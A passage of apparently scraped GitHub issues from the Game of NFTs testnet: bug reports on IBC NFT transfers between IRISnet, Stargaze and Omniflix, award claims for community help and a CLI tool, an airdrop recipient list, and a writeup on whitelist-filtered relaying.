When I replaced another nft isc721FanNFT2ndId, contractAddress can be found in Stargaze
use channel :
nft-transfer/channel-23 <> wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-208

When I replaced another channel, transfer isc721FanNFT1stId success,contractAddress can be found。
nft-transfer/channel-22 <> wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh/channel-207

BUG: `iris query nft token` - invalid denom

Summary of Bug

I have transferred "ark13" from Stargaze to IRISnet, but I cant query for this specific token.

Environment

  • OS: Ubuntu 22.03
  • Software version: iris v1.4.1-gon-testnet

Steps to Reproduce

#  query for specific token  does not work
$ iris query nft token 'ibc/3449A9F89F4841A735D15600ADDD3757C43CD2DEC841C1006D3B6B1C37ADB2CE' 'ark-13' --output json
Error: tokenID can only accept characters that match the regular expression: ([a-z][a-zA-Z0-9/]{2,127}),but got (ark-13): invalid denom

# thought collection shows there is token ark13
$ iris query nft collection 'ibc/3449A9F89F4841A735D15600ADDD3757C43CD2DEC841C1006D3B6B1C37ADB2CE' --output json
5 tokens found
...
      {
        "id": "ark-13",
        "name": "",
        "uri": "",
        "data": "",
        "owner": "iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f",
        "uri_hash": ""
      }
...

Expected and Actual Behavior

Token query should work.

BUG: wrong error message on transferring an NFT that doesn't exist (not minted/issued)

Summary of Bug

I have collection, but this token I transferred doesn't exist. Error returned: not token owner: unauthorized

Environment

  • OS: Ubuntu 22.04
  • Software version: iris 1.4.1-gon-testnet

Steps to Reproduce

$ iris tx nft-transfer transfer 'nft-transfer' 'channel-22' 'stars183e7ccwsnngj2q8lfxnmekunspnfxs6q8nzqcf' 'arkprotocol002' 'fooBar'            --from iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f            --fees 2000uiris            -b sync --yes --output json
{"height":"0","txhash":"8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0","codespace":"","code":0,"data":"","raw_log":"[]","logs":[],"info":"","gas_wanted":"0","gas_used":"0","tx":null,"timestamp":"","events":[]}

$ iris query tx 8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0 --output json | jq
{
  "height": "370014",
  "txhash": "8D7B5329B6339099C7FE012E9B3C4E69B36A381B7E8BD63B8E5B9BE344EEBCD0",
  "codespace": "sdk",
  "code": 4,
  "data": "",
  "raw_log": "failed to execute message; message index: 0: not token owner: unauthorized",

Expected and Actual Behavior

A better error message like token fooBar does not exist!

AWARD: EmpowerChain Claim 3: Helping community

I have been working really hard to help people in Discord (mainly in the gon channel, but some have reached out on DMs as well).

Some examples:

  • Help with commands (nft usage, but also searching up transactions using events, etc.)
  • Help with the particular details of the challenges
  • Teaching how the IBC denoms and traces work (typically, they can't find their NFTs on the destination chain)
  • Debugging stuck IBC packets (both in BUG issues here and in Discord)
  • I have relayed packets on channels when people's packets get stuck.
  • Update the ICS 721 instructions to be clearer: game-of-nfts/gon-testnets#18
  • Updated relayer info after new channels were added: game-of-nfts/gon-testnets#29
  • Manually relaying packets for people who are stuck
  • Running a relayer on our own infrastructure

I have over 400 messages (mostly helping people) in the gon-testnet Discord channel, so you can look there to see more.

BUG: NFT transfer from omniflix to IRISnet delayed or not happening

## Summary of Bug

When sending back an NFT from Omniflix to IrisNET, we have experienced that the NFT either gets back with a big delay or the ownership of the NFT is not transferred from the escrow to the destination address.

## Environment

  • OS: Any
  • Software version: Any

## Steps to Reproduce
1.- Create collection on IrisNET
2.- Send NFT from IrisNET to Omniflix
3.- Transfer back from Omniflix to Irisnet
omniflixhubd tx nft-transfer transfer nft-transfer channel-24 iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4 token002 --gas auto --gas-adjustment 1.5 --gas-prices 0.025uflix --from BMWallet --node http://65.21.93.56:26657 --chain-id gon-flixnet-1
-->CASE 1: NFT HAS NOT BEEN TRANSFERRED FROM ESCROW TO OWNER
TxHash 40FD09ECFC47ECA0D4997FA9A829595B7FE7E62DD4E92BE7EAA2BAE6E18472A7

omniflixhubd tx nft-transfer transfer nft-transfer channel-24 iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4 token003 --gas auto --gas-adjustment 1.5 --gas-prices 0.025uflix --from BMWallet --node http://65.21.93.56:26657 --chain-id gon-flixnet-1
-->CASE 2: TOOK A LONG TIME TO TRANSFER NFT FROM ESCROW TO OWNER
TxHast 7FE8143DDF01113E6FFF24D43C512AA0DD2C8D724A8E529B7C9B85FE7F38F0AC

4.- Query collection on Irisnet, the NFT is not transferred back to owner on IrisNET or transferred after a long delay.
omniflixhubd query onft collection ibc/8538CEDC73F1063C104607F5457D0F5A3649E18FC4ECF57A7A76EF8636547DB4
iris query nft collection workshop

## Expected and Actual Behavior

Actual: NFT either arrives late or does not arrive.
Preferred: NFT should arrive in less than 3 minutes to the destination account.

## Error Stack

No noticable errors.

## Additional Context

Sunday 5/3/2023, around 20:00 UTC.

AWARD: EmpowerChain Claim 2: GoN CLI

I have made an easy-to-use, interactive CLI that lets people easily work with NFTs in the interchain. It does not require the user to learn a bunch of commands and flags to operate it. Everything is there.

It has a wide range of features for both regular operations of NFTs as well as debugging of IBC transactions.

I have consistently been pushing out new releases with new features depending on the tasks we are doing, and the issues I see people in the community are having. A good example of this is IBC transaction debugging which people struggle to understand. I visualize and explain them so you understand that there are multiple transactions involved.

gon-nft-transfer-ibc-wait

The main features are:

  • Create class/denom
  • Mint NFTs
  • Query NFTs
  • Transfer NFTs over IBC (and it waits for IBC to complete on both chains)

In addition I have develop a range of helper/debugging tools:

  • evidence.xslx format validation
  • Finding IBC transactions (including timeout tranasctions)
  • List connections between any two chains (in GoN)
  • Key management
  • Query transactions
  • Calculate class-hash (without the class-hash having to be present on any chain)
  • Generate a class trace (by selecting all hops it generates out a full class trace - useful for finding a class id on CosmWasm chains)
  • Self-relay stuck messages (either by forcing the timeout transaction, or actually relaying the message) by only having the inital Tx hash

The code is open source: https://github.com/gjermundgaraba/gon-tools

(There is also a small environment variable script in the repo to make using the native CLI's directly easier too)

BUG: NFT transfer from Stargaze to IRISnet pended and didn't returned

Summary of Bug

  • NFT transfer from Stargaze to IRISnet pended, and didn't received in IRISnet, didn't returned to Stargaze also.

Environment

  • OS: Ubuntu 22.04.1 LTS
  • Software version:
    • starsd: v8.1.0

Steps to Reproduce

This issue happened during the Task A19 (s --(1)-->i).

  1. Tried to transfer NFTs from Stargaze to Irisnet. The settings were as follows.
  • Msg
# Json
{
  "receiver": "iaa1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579gq67d5",
  "channel_id": "channel-207",
  "timeout": {
    "block": {
      "revision": 1,
      "height": 346000
    }
  }
}

# Encoded
ewogICJyZWNlaXZlciI6ICJpYWExZ3RrNmM3ZnQzbXBwN2Ntc2QzOW13MHlzcWE2bWY1NzlncTY3ZDUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtMjA3IiwKICAidGltZW91dCI6IHsKICAgICJibG9jayI6IHsKICAgICAgInJldmlzaW9uIjogMSwKICAgICAgImhlaWdodCI6IDM0NjAwMAogICAgfQogIH0KfQ==

  • Executed command
starsd tx wasm execute \
	stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
	'{"send_nft": {"contract": "stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh", "token_id": "dsrvNFTtokenA19", "msg": "ewogICJyZWNlaXZlciI6ICJpYWExZ3RrNmM3ZnQzbXBwN2Ntc2QzOW13MHlzcWE2bWY1NzlncTY3ZDUiLAogICJjaGFubmVsX2lkIjogImNoYW5uZWwtMjA3IiwKICAidGltZW91dCI6IHsKICAgICJibG9jayI6IHsKICAgICAgInJldmlzaW9uIjogMSwKICAgICAgImhlaWdodCI6IDM0NjAwMAogICAgfQogIH0KfQ=="}}' \
	--from=dsrvlabs \
	--gas-prices 1ustars \
    	--gas auto \
    	--gas-adjustment 1.3 
  1. The IBC Transfer Tx was successfully performed on Stargaze.

Success Tx: https://gon.ping.pub/stargaze/tx/7AD6FFCB159DB07C917DEE6DA4F8402DB9CDE9DD9121103CBD3241994C3BC732

  1. Relayer tried to relay NFT transfer packets to IRISnet.

  2. During the relay sequence, the timeout_height was reached and the corresponding Tx failed.

Failed Tx: https://gon.ping.pub/iris/tx/32A2E3AE1D0B00776BE364AD7F977885B5E1B1F375E9B6BE76CF99D8E22D147E

Expected and Actual Behavior

  • Expected Behavior : NFT owned by owner address. even if transfer Tx was failed.
$ starsd query wasm contract-state smart \
        stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
        '{"all_nft_info":{"token_id":"dsrvNFTtokenA19"}}' 
data:
  access:
    approvals: []
    owner: stars1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579f7djy5
  info:
    extension: {}
    token_uri: https://www.dsrvlabs.com

  • Actual Behavior : NFT owned by contract.
$ starsd query wasm contract-state smart \
        stars1r9whurc74jqgdf7ftlfdxacngxv4z2u2ea6c9ph85rvp5qjsek4szdk7gy \
        '{"all_nft_info":{"token_id":"dsrvNFTtokenA19"}}' 
data:
  access:
    approvals: []
    owner: stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh
  info:
    extension: {}
    token_uri: https://www.dsrvlabs.com

Error Stack

failed to execute message; message index: 1: receive packet verification failed: block height >= packet timeout height (1-346000 >= 1-346000): packet timeout

Additional Context

From the NFT user's perspective, if the NFT transfer fails as a result whether it's because the Tx failed or the timeout height was reached, they will expect it to returned back.
if it locked on contract, user will think that they've lost of the NFT.

GoN: Airdrop Recipients List for Round 4 :parachute:

ClassID:

  • gonTeamRace1
  • gonTeamRace2
  • gonTeamRace3

NFT ID follows the same naming convention as follows:

NFTID Recipient
gtr1/0xMemoryGrinder iaa14wxkt5lavx94ufj6l8fkuj9lxxy2zqysxhdu3t
gtr1/0xtekgrinder iaa1d9578kxp8fu0az8098d2r9wznqfr0nwwuumm8e
gtr1/2019jack iaa1jmk0t74c728v2npnpnxqkvufyyq7pw5lrtzjcy
gtr1/79anvi iaa17nlwd0ejtlckepmgncyngaqdpqdszqsszpmqht
gtr1/BCSungjin iaa1us78halwtf4tslhav7vklhusw7f7l2l4mfy7jt
gtr1/BalluPetr iaa1hrrux3lmx7n3qzrjw47f7y87dwcy2shkvh75yt
gtr1/Blockpower iaa1vthjgnenmkfh50vjapm6jwyugkd7h9l77vylk8
gtr1/Boblev999 iaa1he99523wfdud7c9me5redjmrtg40p9mzyery0c
gtr1/Caneryy iaa1nd0emtkzyfaw6zxmz7jeer524d6zgq6qm3jjs6
gtr1/Canguilhem iaa1qtz0867px6zwssl662y7u6xf9dr7fe3qmak36y
gtr1/DAICers iaa1njk6jqwk6qqeh4edgulyeppcaftk4c0ypupk6u
gtr1/DanielX iaa1evtsujuuh8ksdl9ds7v4jyvh9wxgz5mkqu8xfl
gtr1/DasRasyo iaa1amth2ukke6skv6jnhcys5z3nhdp8waqgycfpv8
gtr1/DionGantung iaa14u66dfqrprh55ymuljx5dxy9x0hx6ejhwp3vnc
gtr1/DjLenna iaa1zy7p7d8lzz0ee2dcjrrenzpswgl47eelrkx2qg
gtr1/DreamGallery iaa1a0v6jt0xg7w4ljlh8dywjgtkrfeqr00l50sr24
gtr1/EcaterinaSm iaa1084xy70k92shk4dcqxps7ujknw0h4ewfxwvt2l
gtr1/EkonnK iaa1tgaaffjsw2366u4enl530muvwkkl0crtdu3lu0
gtr1/ElfenLied2019 iaa15k5pldxddu3casukt8g279au0ynzff2xwwjv54
gtr1/EmreNOP iaa1e26fequ4hengrfs9sgznaq34hgra9w587awu9r
gtr1/Exclusive048 iaa12xm6wl4xq67k5lyz8g05re9ela8njpchy30d7l
gtr1/GreenMit iaa136wlf0hc0jzsxqt66ug4535uascygh4vkx8e4a
gtr1/HashQuarkResearch1 iaa15neaqq7kyewa6k3dtdhrgl6dk9pmj7umhewyld
gtr1/IAmScRay iaa16yfrzsnnk8qk85h2c2e33czm8h6ezdxr67tq7a
gtr1/IvVasil iaa1l9ycf23pvegy2n568fs708lgxumfrzdyuwc89u
gtr1/Jav1x iaa1l23e3s7a85puq7v4p2fuyppr454antkdx7ndf5
gtr1/JeTrix iaa1tr8jc7pqtkuztf85l9xyq4fpwe7cn4pn2f94jw
gtr1/JianHongHong iaa18gxf440n0jz24624e6vh9r52e66esxrrr8pnm8
gtr1/Jimmy668 iaa1tqz6k8s04pd7ps9cug85da2uaa695l5zqervd5
gtr1/JiuKelo iaa12zqr9a772flwxvawwpzp5as2ptwmj422mr4vrt
gtr1/KaliaNetwork iaa1kzdyjtf50d8t467u43c9v87v8fk879dt5k2qe2
gtr1/Kutuzov17 iaa1fln4q5wulfgr4qk7s7hnlxfnyghlg62s490vaj
gtr1/Lefey iaa1lc4pf2m2623d7573c2k7qfp4ymflqy04m23h5p
gtr1/LevVlad iaa1xs7wmqh6wjg3z8yqaykjvma9whervxua0pl3ey
gtr1/LiangLiang918 iaa1dhavldfmgg0dml8rzl66684yhey2aaw7x3t473
gtr1/McDaan iaa1knp4syd5vm9l73axl7njpjnjlmqyghk266t9ty
gtr1/N1ghtSe7en iaa15jdwqnynxzhhunymzgdhu233t2kcn5v4e8purt
gtr1/NiCoderPro iaa1y32g70jkc5pz8f7fl66mzh3pem2juh5k27w2sv
gtr1/Nodiums iaa1x25yfkqad82rxv7kn202stzxc87pg83dcj4hcr
gtr1/NyseDev iaa199mhptqpvu47nr5hluerdtmxn5sz3eameapala
gtr1/OlegBirkoff iaa1zzx583wtxgu6pnyq4gyhj0mspx7eehpudvupqt
gtr1/PetrFerz iaa17ddw884ly906vccg40qne0tqzysytumzrk6ap8
gtr1/RFuture iaa1nkk935vnxpcqrt7ul67dtvekh7cr0ednq6ffmt
gtr1/SegaStakers iaa1xul2k99x5hug55kyka2mjphqjyjcd6wuay55q3
gtr1/ShenFri iaa1kk3qg20e2vmcuzeuau8yu9kzqhcr3eweqfwxkk
gtr1/StarfallGame iaa1a3hm8eacldjguqzcsmppkghvcdmwlz8t8nlhde
gtr1/TheCodeor iaa1wxl44399uppwd5uc6rrgz07plzs9atv8fxt7qr
gtr1/VasyaIvanov21 iaa177qeth9t4qdpczfr4vke4wu3gfet2pdp9h5lmg
gtr1/Vgk88 iaa1ksu5npssgngfm0h8zc3hu0rrkux8z9gmvj9zvm
gtr1/VladDevv iaa1kw75spqdu6xcc2qjzm2c8qqrv66asv7qd9g96v
gtr1/Wangxiaolei123456 iaa19d2xsacl785y74dhmkr48apz24258va0pr76e4
gtr1/XuehaiZhang iaa17tmylzn4n9ekeyvrkj248j2g490qs2yyuxyt28
gtr1/ZhihangLiu2020 iaa1s62hzktpag3k2s2k2tfa9p4lqvagmuwrj0qg4a
gtr1/akash978 iaa16hf2amez7xs44cvyz3wh2xdx0tfmepq8zhl3jc
gtr1/alfset iaa1k8zukzhyyzuk0wurh9r4j25ttgvzfp7g6hhc5y
gtr1/alipostaci2001 iaa1h8uj22du0ka3ylq6rnx00cupey9y6e4jslsqcz
gtr1/alkadeta iaa1jmx7k727ea7vd6arra52fw9p4qgn03d7jxl95d
gtr1/allyter iaa14zru37e9zrha0lsnc64e89mc22etq50gaerxfd
gtr1/alpe iaa1thyrs2wsjgc777z6h6lgpajzpwhwe2e9mgstlj
gtr1/alxnode iaa1xgmsyhmfdewqgdltqw4cmkpjghm4f4acemnh2z
gtr1/amonxx iaa1z8nmflnpj03q2994vx7h6h90g6uxvaud0wnyum
gtr1/anurg iaa1vxeek5v8vw30h2m5hy9jat4w0ygkuqy9v9se26
gtr1/ardapda iaa1du2v73lf4hma5tpq0f73j69h0hm9veyythkks9
gtr1/arifintahu iaa1qkqe3yrhvyvd7y5u8374vcxw2evzgqj2tqlnrh
gtr1/arnettee iaa1gg2a0lr5c6yqn4dyhuftwx37f962yh2h0ukuqh
gtr1/beal2912 iaa1rxftqkksy3u6n4sdu6l9mz30vm72n9l4uhzdj4
gtr1/benrazor iaa1kt0t57apdcu2s5k7jdvfsslvclu7mktn43kv0v
gtr1/blacktoor iaa19fqqwkgrrcktqljpz5vsepkknhe0elgd2mqxqk
gtr1/blasmorkai iaa1m8juq54rm6tar0nkf50m436u66mlf8y7sx0x8w
gtr1/blockhuntersdev iaa1w8xxkzsglsg9nd2q60f9p292tv2k0dqm2ys4tj
gtr1/blossom124324 iaa1hmkc6w4f4wxfu34gtaz6thgm0n57gz674cyaa7
gtr1/bronbro2 iaa1ykluardc70dx0v308dqahngt3dgzvfxjktawpu
gtr1/bunnygangsta iaa14twcjxxafcw7x0q4vk4l6aj03mz7pvepzpa0wd
gtr1/busteter iaa1qppucn75sp46hnw42yjj6chemf5zgvxwtl5nry
gtr1/carameleon iaa1typgf72ee0dq2cznqm6vnlpv0nkcshjhgqmpww
gtr1/chainsmt iaa1m0u69jrtd70wrkxkm0jwx64eu7432k4lfen5yy
gtr1/chillyvee iaa13rd5d39dp7qdccw05wwnhqce3j0zahzey9tjc5
gtr1/ciprianmuja iaa1828e0j32udqkz66mvuf6znzxvunjptvtuc2w8f
gtr1/cjisthecat iaa1vzptwj7v30g0lf7emyqx3u8k7a0rcyxckggh5z
gtr1/cosmowiz iaa1q5reqcguqlhgnd7y8rfjhc4988me0lh5drg7al
gtr1/cvasy12 iaa159z7wp2gemznawn0rnvd5gkadcrw6tjcfuvlsl
gtr1/cyberomanov iaa1s4chs8vs85x327uzgsr4ynrhlhk0da5z2a4nvr
gtr1/deden2904 iaa1sxue5vc26wuwwc6f6pxrpel5umwx9zkykp7ppl
gtr1/deeeffes iaa1klufvdwy6tjevm6quwcwlykpsge266m5q8mfcs
gtr1/defiantlabs iaa1dnmz4yzv73lr3lmauuaa0wpwn8zm8s20cx2rtp
gtr1/demonchang iaa1n2sm8zl6zwl4sx2zc39yc2qzvgjtmjhmtea7cf
gtr1/dhkgon iaa15vsyx3fk9eqg3tmdp55m8gp77jvg9leej98tyt
gtr1/dolphintwo iaa1a055aftycf8tcrwx5latqyxra4r4wvpg4rfssu
gtr1/ekaterinagorb iaa1f8wctcnlngve3dcydf38yep2vq5grte06fsdcy
gtr1/elfelf2 iaa1xd57q3h47vfrufctpfx4tj2zgdl4w6xc0yrdr7
gtr1/fangqia iaa158stguahxl69hxr85ucpg8q6ms3sxpt5vs8d2p
gtr1/farukyasar iaa1pa08ws4mhvp2qcpz5yh4yfqu0rj8hzxwv8fpgz
gtr1/freak12techno iaa1w6e8m7tjwp2r2dq366hwf0gtdptgjvdxt66vaz
gtr1/furkanefeoss iaa1zdka0sa25kvr4v63gx9s24g8ah629c7k0qc08c
gtr1/g0odlike iaa1tte4zgqwnqcesx0kmzz9sm2hjpvzkfpml3rfx3
gtr1/giansalex iaa1zxtlyk7l6n3t46yqse84sza7ar39m8uljcwrp5
gtr1/gjermundgaraba iaa1ypynejafjw6u2cucqp9yjnahxjt3vkl6ms2fum
gtr1/gkhncglr iaa1lhm8l68q860pwd46su4r0kt2z3xskjfnmlxlua
gtr1/gokceeee iaa1mc6yx0gl727je57wwx7tc8eusl93d77yqytv02
gtr1/gokmenkutuk iaa188ldsnxc4lmpp3te2j0ttd7y55ymyghg6y7r69
gtr1/goooodnes iaa10vacnk5tkky3rle93e7ghl6ms893yx6dx0p94h
gtr1/gouzhiyuan iaa1y4znzseh5tze7dgqkgzu5ehqu7drqqxngyzk05
gtr1/gruberx iaa1j0fpap4936a7z9kwg2djlr9mj0ymdzdtftp5gt
gtr1/heejingithub iaa1gtk6c7ft3mpp7cmsd39mw0ysqa6mf579gq67d5
gtr1/hexp1989 iaa1aw0jfqlg4ulhnleytpydvmx0zem33828awyc6t
gtr1/i7495 iaa1dhsf549zh5k6g00e9leu3yx2hyqt7d0uw36cg5
gtr1/ibrahimarslann59 iaa156vzzhjqk9gzsk8fjje3msupj0fv8lyhnalzgl
gtr1/ibrahimdulger iaa14pxla3c0umrtfg6l86f9hfusjj63rsd3qg84xy
gtr1/ilhamnurizha iaa1vrdvwapp49kgj2x3y9ll3lw3wgmwy0qkpg95qk
gtr1/ilkeff iaa1z6u25xdmuvyve3npvt73ta43583h68dtaq2uy4
gtr1/imnisen iaa1z4uncvfqzc8jvz6ejdnllq6g2ze4vudky546z0
gtr1/jdiduit iaa17m8lf984dkhm59jx4n5f3xg4du86w2ur5pk3md
gtr1/jim380 iaa1jhkzj8tuel7tvweztqhqff9m0d7lwavz3espx2
gtr1/joshlopes iaa1ytr0nujljr44t7kw2vhe566ecjz8mtn8xgv0y4
gtr1/kadiralan iaa10k6w4fxfaq4g3zkw7fneqdgu6s5j0qd4nz2s27
gtr1/kaizhizhang iaa1qlwgt4rmt3l3xdee9l4mn6rwewwh4kgl2kdugw
gtr1/kaka0319 iaa1k2r3hl2w4483e7wh5j6e0lmn5lr9e6k0wxpv5e
gtr1/kanakattack iaa1tvun0xdgq9rz353zlqr2jtnm2fnspl3yhrenmh
gtr1/karat0 iaa1rhgy4cjklhsa7q76qqn4n9pzcqn5utu3s9w4km
gtr1/katheeE iaa1e24s0tz8hkkf905lpaw6s6dtczf2tt99fh4xw2
gtr1/kaustubhkapatral iaa1dtpkz84q8z6ewxjxna3qykmgxy2zskfucrzxnd
gtr1/keyllli223 iaa1mrrdmatjtdmhnu605h5g27rf9qj9xr5eew7p4s
gtr1/kivancbeser iaa1c3m67xnd6nvqanhndspvy9e9gax3qjww5e29d4
gtr1/kleomedes iaa1qtnhka7wkhlzlat9ju8vytaxmzlqwy5523sjdr
gtr1/krisboit iaa1dqwhvwmfha77pljpg2zurc75as6gqq8822yf5y
gtr1/lamboo iaa1qzry3k4gntwj9ueqyw502txsrrc5w5cuhxxwyd
gtr1/landerosua iaa1khntu8dryrqz2nmr6fswzw753ewdlxdja7z2f5
gtr1/leonikaf iaa1lex8xp3h9dnfu0nvpewse0cygsd9rag6ky8hn5
gtr1/lesnikutsa iaa1vvmhgks8rrns9cwfgegpgs66xclw00jya5h0c4
gtr1/liwenjia345 iaa163u9wks3fm3uskrn38lwmqqnupv4n63jeq9z54
gtr1/mahofmahof iaa1w6m2yzpum76eka7z6zdrpq4zrg6ue33h7ph455
gtr1/marcotradenet iaa13qfqt0htfel3sxzys8hqeql8gyyspn9z7k0nkq
gtr1/mariowork iaa15npjzka4pgzs7sgrukmdxxqfed27nhw90w2xh5
gtr1/marryton007 iaa1vzj40p0t54e6cscrvd3kyldlq06k02j0dyr3l6
gtr1/mcanvar iaa1ydpmcer7cgmwxyvv277zv0drlvfh0d7yasxg7z
gtr1/mccallofthewild iaa1ztxwfpggyc5eqhev548z8wkwj8hx5k4hxdkqlr
gtr1/meathewww iaa1kezghqmxep8apuxc7nv44rnu8anhm3hrmzynmp
gtr1/mengfanjie95 iaa1r29cfs58lff6m072hnkglq38kq6958r7js8t28
gtr1/mmcel iaa1rwyh0mvg36s3776mwjxpuxqezvd3503qrhdkaa
gtr1/nguyenquan9699 iaa1wq967n8dczefkzun2wfg0mnm882ydqur06lwzq
gtr1/nodeiistt iaa1zy9ev09xxr58rfx9te90vdysmuyrwr7evyklj7
gtr1/nodestake iaa184hv0zmw2n9ud3h87mdykz22dr2d7yumpd9lfa
gtr1/nurtagum iaa1fxvmkjm5rzr2mhy63qum7y87544nu5hrsgkpcp
gtr1/nyaironggeng1 iaa1pczvcvkjaqqmaxpjpxq0kyxc9p5fwn62wukvpv
gtr1/oOZz iaa1hp386plt6xu0mnjxjzxp4zf5w5ccjdd85v6cqc
gtr1/okannako iaa1vc5l6qu23vee608f5ggwrnqtc4aexaw6gewz9q
gtr1/okwme iaa1l5um3uekts87fvjunel8xvv9vadspc33m3c5vx
gtr1/oldcatv iaa19705lg3d7p3gyzt77hq4jhdj0sf9594crv5enx
gtr1/omercanyenigun iaa1h96drj3x7qjvgfscevz7nd2e7eqj8g7nmc8r2k
gtr1/onurhizlan iaa1zeqycljyz0a8l0mfam5hkv7xyvmssf0ngm0rzh
gtr1/osmanbo iaa1wpp9yffpcljulvnss08ress6y8qtqa3ekg5s8u
gtr1/petrovalexandra152 iaa16cy48n46jl4c6at95nda854rn3qxvd4905l2dm
gtr1/pingpub iaa1evafzxq68h556shtqcjtz0vkejdd4275qwzfpf
gtr1/pinosu iaa1nrtuu9c0dkcxcrd5w7fyppy9l6343fwe5a5pqa
gtr1/polkavio iaa1ag44l06ec3kkaf4cx5s7w8dnwdhnhvk06fzt5s
gtr1/ptts55 iaa104m3r6tuanzmq8ll4wyuhh5dqqynfvqsey5zjg
gtr1/remianch iaa1782pwpag2ve6wgd9wphhd5atm6emlv04udajf0
gtr1/rysiman iaa1dw7uznahn3sklj544pyy73vzxxedpsu0cdna0p
gtr1/sanshainstar iaa1zcr3dutv0uh0sr2x2ll4aqlcxyyyk2gh78rmuc
gtr1/sarsersirsur iaa1dlg3ez2c6phmf7xk5pk98l9qzehnkqruyfr20w
gtr1/secard51 iaa1f70vf6yt675322hh7a38am40he926d8sc66dn9
gtr1/selimkafa iaa12vcrw9cjvsnzs02q2fp9p4lx4pzfhxnk2dn2hd
gtr1/si35 iaa132pl57u4qm0d0jax4dsk4jkdfc2mcp6lwu2qmk
gtr1/silentnoname iaa1g5arldt04fs4m23p2wjzqwrd5yppu2kchj39v0
gtr1/songjiazhun iaa1z8ukcxmhelz7jncsctl27jmdzmqanqrmtj77z9
gtr1/stguller2 iaa1q8zrfyv7muv7aflr5xzn069zfumy4xs8atc0w6
gtr1/studentmtk iaa1pkeydzqcdrvyeutp4p3q4k2r96sajuf4896wy4
gtr1/superdreams iaa1vwqy94txqy0suva8jam58d995pmuqvh8jy4lxc
gtr1/sxlmnwb iaa1xheppmt689acf7mp6je59tmjqgstjghkqrmrm9
gtr1/szryldrm iaa1w67t645d9usgdyvgsamc4y6axpax8ertn4hhwf
gtr1/taitruong iaa183e7ccwsnngj2q8lfxnmekunspnfxs6qxd4v3f
gtr1/techwomen35 iaa10pxl8fqs7kp68wh7uvsjnhx0vhupanzkjuk67x
gtr1/timveltman3 iaa14gzr79v27csvlyperv0gsf5me9jywlthns2r8x
gtr1/tiramisu26 iaa17ks9yaes9x9tfrt4eees7mzeck00pzc5tqfu7x
gtr1/trulacgctcnetwork iaa1dtgf8l2c6efpkshnm24xzn52nhry8uj99r2gjm
gtr1/uniqlabsorg iaa1s3m24ynlwqsr88584mkcaepj6kfx0fn345eh6d
gtr1/valNodeOne iaa1djjha5yv5p32fpuw4l99nfnhc4j84gfk64cuz3
gtr1/vivensy iaa17mdu9nwkl5j0a3repexh7wplmvsvupulju3rc8
gtr1/waitrouz iaa1hgwvd0scc7qmyrr97mrkm8yfa9rcxmr3e8qzju
gtr1/wetezos iaa179h7vvp3vveng5xrhu95k8vaxgr8d8gzfpqsr9
gtr1/williamchong iaa1wesx8r0696ejnasqarrxd0gm45c4jwjns6n7fx
gtr1/williamqiao iaa103pz3cah5cqluek895wh92z9u4v9mf9qy6cjnf
gtr1/xavier200203 iaa1ghcwp60uzgylr3kukkppzq457j0tlqw7g3s69u
gtr1/xbdyhh iaa1w3t6kvkvhudyrcvveu9yzyh3sv7ykpsthvsepz
gtr1/xianxianzhou iaa16hqe6z0d08d007uuwq6xx23srww65atj9fgcpq
gtr1/xxfs iaa1c275fwntd765htsaqzffv262yxj99rr6pv8ddc
gtr1/yekssin iaa1zj835pe42xlp6cxxr60zk7uw9dvk5q3yxycqj6
gtr1/yuanzd123 iaa1d5cz9wyjlkeymw22meq4c9fl7p5k5kysnv8kp9
gtr1/yulianandyka iaa1pu5asmzmhumwly4umu4qg4k4pysyg2lwdpqrp9
gtr1/zanglang iaa1tez4axjzrfr0h96hug80wgcfuhe402m5ckass2
gtr1/zhangweidong123 iaa1lex2e7swh6wfgwtm5r8p94cjf425pmznucpsv0

Challenge: EmpowerChain Claim C2: Filter relaying

My strategy for preventing a bunch of txs stuck on channels is not to actually prevent them from getting stuck but rather find ways to ignore txs we don't care about.

It should work wonders for any scenario where you can know by transaction events which packets you want to relay (and it handles timeouts and acknowledgments too). This alone will not work for every scenario (the other scenarios are discussed towards the end), but it will let you relay the following:

  • For an event (like Game of NFTs)
  • For your own app
  • For specific flows (anything you can specify with a set of events, which is very broad)

The naive demonstration solution

In the demonstrated solution, I took a naive approach that will only work in a very controlled environment but can demonstrate the principle: letting relayers filter transactions can improve throughput in scenarios of spam or attacks. The demonstrated approach is using a whitelist to approve transactions for relaying. It uses events as the basis for the filter and only approves senders from the approved list. This will effectively let the relayer ignore the noise and only pick up transactions from an approved list of people.

The whitelist approach can be deployed during Game of NFTs (or other controlled testnet environments where you have a list of participants) to keep channels open for participants to test - even in the event of spam/attacks.

To test this, I did the following:

  1. Set up a new separate connection between Stargaze and Juno (connection details below)
  2. Started a non-modified relayer on this path
  3. Uploaded and initiated the virus contract from #479
  4. After verifying that the channel was filling up (rly q unrelayed-packets PATH), try to transfer an NFT (from a whitelisted address) with the expected result: The unmodified relayer was not able to pick up the packet in a timely manner.
  5. Start the modified whitelist relayer on this path
  6. Try to transfer an NFT again (from a whitelisted address), with better results this time: it goes through in a matter of seconds from the modified relayer.

The connection details:

Stargaze port: wasm.stars1ve46fjrhcrum94c7d8yc2wsdz8cpuw73503e8qn9r44spr6dw0lsvmvtqh
Stargaze channel: channel-241
Juno port: wasm.juno1stv6sk0mvku34fj2mqrlyru6683866n306mfv52tlugtl322zmks26kg7a
